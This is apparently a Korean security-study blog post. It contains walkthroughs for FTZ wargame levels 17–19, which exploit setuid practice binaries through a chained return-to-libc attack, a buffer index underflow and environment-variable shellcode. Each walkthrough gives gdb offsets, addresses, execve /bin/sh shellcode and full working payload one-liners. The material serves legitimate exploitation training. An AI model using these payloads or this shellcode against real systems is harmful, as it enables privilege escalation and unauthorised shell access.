보안 공부하는 꼬깔이

FTZ level19 풀이

 

 

 

level19의 홈디렉토리 내용을 확인 level20의 권한으로 setuid가 걸려는 attackme 프로그램 확인

 

hint 파일을 열어보자

 

 

hint 파일의 내용에는 c언어 소스코드가 있다. 18번 문제에 비하면 코드가 매우 심플해졌다 ㅎ 해석해보자

 

 

소스 코드를 보면 사용자 입력에 대한 길이 검사를 하는 부분 없이 사용하는 gets에 의한 취약점이 존재한다. 하지만 setretuid() 등의 권한 상승에 필요한 계정에 대한 부분이 없다. 그렇다는 것은 chaining return to lib 기법을 사용하여 문제에 접근하라는 의미이다.

 

TIP.chaining retrun to lib 기법?

- 라이브러리에 필요한 함수(system(),setretud() 등) 의 주소를 알아내어 사용하는 기법

 

 

어떤 식으로 문제를 풀어야할지 생각해보자

1 : buf 에서부터 ret 까지의 거리 

2 : system() , setreuid() 함수의 주소를 획득

3 : system 함수 내부에 존재하는 /bin/bs 주소 획득

4 : setreuid 인자 정보

5 : chaining 를 위한 pop과 ret 명령어 그룹

 

 

 

먼저 buf에서 부터 ret까지의 거리를 알아보자.

 

 

0x08048458 <main+24>:   lea    eax,[ebp-40] 해당 부분을 참조하게 되면 buf에서부터 ebp까지의 거리를 알수있다.

 

buf[20] 에서부터 ebp 까지의 거리는 40이다 그렇다면 buf에서 부터 ret까지의 거리는 4Byte 낮은 주소인 44가 될것이다.

 

buf[20] 에서부터 ret까지의 거리 = 44


 

 

 

이제 system() 함수와 setreuid() 함수의 주소를 획득해 보자

 

디버깅을 위해 attackme 프로그램을 tmp/ 디렉터리로 복사

 

 

 

gdb로 디버깅을 시작하고 브레이크 포인트를 시작 main함수 시작부터 걸어준다. 그리고 프로그램을 r 명령으로 시작하고

p 명령어를 통해 system 함수와 setreuid 함수의 주소를 알아낸다.

 

system 함수의 주소 = 0x4005f430

 

setreuid 함수의 주소 = 0x400f9cc0

 

 

 

 

이제 system 함수 내부에 존재하는 /bin/bs의 주소를 알아보자

 

 

system 함수 내부에 /bin/bs 주소를 가져오는 코드이다.

 

컴파일 후 실행시켜 보자

 

 

실행시키면 /bin/bs의 주소가 출력되는것을 확인할 수 있다.

 

/bin/bs의 주소 = 0x4014ad24

 

 

이제 setreuid의 인자 정보에 대해 알아보자

 

setreuid(sub_t ruid, uid_t euid)

 

setreuid 에대한 내용을 구글링 해본결과 2개의 인자를 받아서 처리한다고 되어있다. ruid는 실제 ID euid는 프로세스에 적용할 ID가 된다.

 

 

우리는 level20 계정의 권한을 흭득 해야하므로 level20에 대한 GID를 /etc/passwd 파일에서 출력시켰다.

 

level20의 uid = 3100(페이로드 작성시 0x0000C1C로 HEX값 변환후 사용)

 

그리고 setreuid에 인자로 줄때 ruid에 3100 euid에 3100의 인자를 주면 된다.

 

 

마지막으로 chaining 를 위한 pop과 ret 명령어 그룹을 가져오도록 하자.

setreuid 를 사용하기 위해서 2개의 인자가 사용된다는 것을 확인했다. 그러므로 pop2개와 ret1개로 구성된 chaining 명령어 그룹이 필요하게된다.

 

pop-pop-ret 가 모두 연결되어 나오는 부분인 "804849d" 를 확인 할 수 있다.

 

PPR의 주소 = 804849d

 

 

 

이제 본격적인 페이로드를 작성해보자

 

기본적인 페이로드의 구조는 [buf에서 부터 ret까지의 거리] + [setreuid시작주소] + [PPR주소] + [ruid값] + [euid값] + [system시작주소] + [4Byte 공간] + [/bin/sh주소] 이런식으로 작성할 것 이다.

 

 

최종적인 페이로드는 (python -c 'print "\x90"*44+"\xc0\x9c\x0f\x40"+"\x9d\x84\x04\x08"+"\x1c\x0c\x00\x00"+"\x1c\x0c\x00\x00"+"\x30\xf4\x05\x40"+"\x90"*4+"\x24\xad\x14\x40"';cat) | ./attackme

 

 

 

성공적으로 RTL 기법으로 셸을 흭득했고 my-pass 명령어로 level20의 패스워드를 출력시켰다.

 

level19 clear ~

'System Hacking > FTZ' 카테고리의 다른 글

FTZ level20 풀이  (1) 2017.07.05
FTZ level18 풀이  (0) 2017.07.04
FTZ level17 풀이  (0) 2017.07.04
FTZ level16 풀이  (0) 2017.07.04
FTZ level15 풀이  (0) 2017.07.04

FTZ level18 풀이

 

 

level 18의 홈디렉터리에 level19 의권한으로 setuid가 걸린 attackme 프로그램 확인

 

hint를 열어보자

 

 

힌트에는 전 문제들과는 다르게 엄청 복잡한 코드가 나왔다. 흠.. 최대한 해석해보도록 하자..

 

 

코드가 시스템에 관해 알아야할 내용이 많고 복잡해서 최대한 간단하게 설명하도록 하겠다.

 

소스에서 check 변수의 값이 0xdeadbeef 면 sheelout 함수를 호출해 level19권한으로 /bin/sh 셸이 실행된다. 하지만 string[100] 보다 check 변수가 뒤에 존재해 일반적인 BOF로는 문제를 해결할 수 없을것 같다.

 

여기서 가장 중요한 부분은 버퍼의 문자수를 조절해주는 count 변수가 0x08 입력이 들어오면 1감소하게 된다는 점이다.

 

그렇다면 배열의 인덱스가 -가 되도록 하면 앞의 메모리에 접근이 가능하게 될것이다. 즉, string[100]보다 나중에 존재하는 check 변수에 접근이 가능하다는 것이다.

 

 

어떤 식으로 문제를 해결할지 생각해보자

1 : string[100] 에서 부터 check 까지의 거리

2 : check 에 0xdeadbeef를 덮어씌우는 페이로드 작성

 

 

우선 string[100] 에서 부터 check 까지의 거리를 알아보자

 

디버깅을 위해 attackme 파일을 tmp/ 디렉토리로 이동

 

 

0x08048743 <main+499>:  lea    eax,[ebp-100] 이 부분을 확인하면 string에서부터 ebp 까지의 거리를 알 수 있다

 

string[100] 에서부터 ebp 까지의 거리 = 100


 

 

0x080485ab <main+91>:   cmp    DWORD PTR [ebp-104],0xdeadbeef 이 부분을 확인하면 check변수 에서부터 ebp 까지의 거리를 확인 할 수 있다.

 

check 변수 에서부터 ebp 까지의 거리 = 104


 

string 변수에서 부터 check 까지의 거리 = [string[100] 에서 부터 ebp 까지의 거리] - [check변수에서 부터 ebp 까지의 거리] = 100 - 104 = -4

 

생각대로 check 의 위치가 string 보다 앞에 위치해있다.

 

 

이제 페이로드를 작성해 보자

 

기본적인 페이로드는 [string에서부터 check 까지의 거리] + [0xdeadbeff값] 이다

 

여기서 참고 할 점은 string에서부터 check 까지의 거리인 -4 는 0x08을 입력시 버퍼의 문자수를 조절해주는 count변수가 -1 되는것을 이용해 역으로 돌아가는 방법을 사용해야 합니다.

 

최종적인 페이로드는 (python -c 'print "\x08"*4 + "\xef\xbe\xad\xde"';cat) | ./attackme

 

 

성공적으로 0x08 의 4회 입력을 통해 버퍼 인덱스가 -4 를 가르키게 되어 check 변수에 0xdeadbeef 값를 덮어 씌울수있게 되었다.

my-pass 명령어를 통해 level19 패스워드 출력

 

level 18 clear~

'System Hacking > FTZ' 카테고리의 다른 글

FTZ level20 풀이  (1) 2017.07.05
FTZ level19 풀이  (0) 2017.07.04
FTZ level17 풀이  (0) 2017.07.04
FTZ level16 풀이  (0) 2017.07.04
FTZ level15 풀이  (0) 2017.07.04

FTZ level17 풀이

 

 

 

level17의 홈디렉토리를 확인해보면 level18의 권한으로 setuid가 걸린 attackme 파일이 존재한다

 

hint 파일을 열어보자

 

 

hint 파일에 c언어 소스코드가 존재한다.  해석해보자

 

 

16번 문제와 소스코드가 비슷하다 하지만 shell 을 실행시키는 함수 부분이 제외되었다. 그렇다면 환경변수에 쉘코드를 등록하고 쉘코드 주소를 이용해 문제를 해결해보자

 

어떤식으로 문제를 해결할지 생각해보자

1 : buf[20] ~ *call 거리

2 : 쉘코드를 환경변수에 등록하고 주소를 확인

3 : *call위치를 쉘코드 주소로 덮어 씌우는 페이로드 작성

 

 

 

우선 buf[20] 에서부터 *call 까지의 거리를 알아보자

 

디버깅을 위해 attackme 파일을 tmp/ 디렉토리로 복사하자

 

0x08048530 <main+24>:   lea    eax,[ebp-56] 해당 부분을 확인해보면 buf에서부터 ebp의 거리를 확인할 수 있다.

buf[20]에서 부터 ebp 까지의 거리 = 56

 

0x080484e1 <main+57>:   mov    eax,DWORD PTR [ebp-16] 해당 부분을 확인해보면 call 에서부터 ebp의 거리를 확인 할 수 있다.

 

call 에서부터 ebp 까지의 거리 = 16


buf[20] 에서부터 call 까지의 거리 = (buf[20]에서부터 ebp까지의 거리) - (call 에서부터 ebp 까지의 거리) = 56 - 16  = 40

 

 

 

이제 쉘코드 주소를 환경변수에 등록하고 그 주소를 확인해보자

 

<SHELL CODE>

\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80

 

export shellcode=$(python -c 'print "\x90"*20 + "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80"')

 

해당 명령어로 shellcode를 환경변수에 등록

 

 

위 코드로 shellcode 주소 확인

 

 

쉘 코드의 주소 = 0xbffffef0

 

 

 

이제 본격적으로 페이로드를 작성해보자

 

기본적인 페이로드는 [buf[20] 에서부터 call까지의 거리] + [쉘코드주소] 이런식으로 작성할 것이다.

 

최종적인 페이로드는 (python -c 'print "\x90"*40+"\xf0\xfe\xff\xbf"';cat) | ./attackme

 

 

 

성공적으로 call 포인터 함수가 가르키는 주소가 쉘 코드 주소로 덮어 씌워져 쉘이 실행됬다. my-pass 명령어로 level18

패스워드 출력

 

level17 clear ~ 

 

'System Hacking > FTZ' 카테고리의 다른 글

FTZ level19 풀이  (0) 2017.07.04
FTZ level18 풀이  (0) 2017.07.04
FTZ level16 풀이  (0) 2017.07.04
FTZ level15 풀이  (0) 2017.07.04
FTZ level14 풀이  (0) 2017.07.04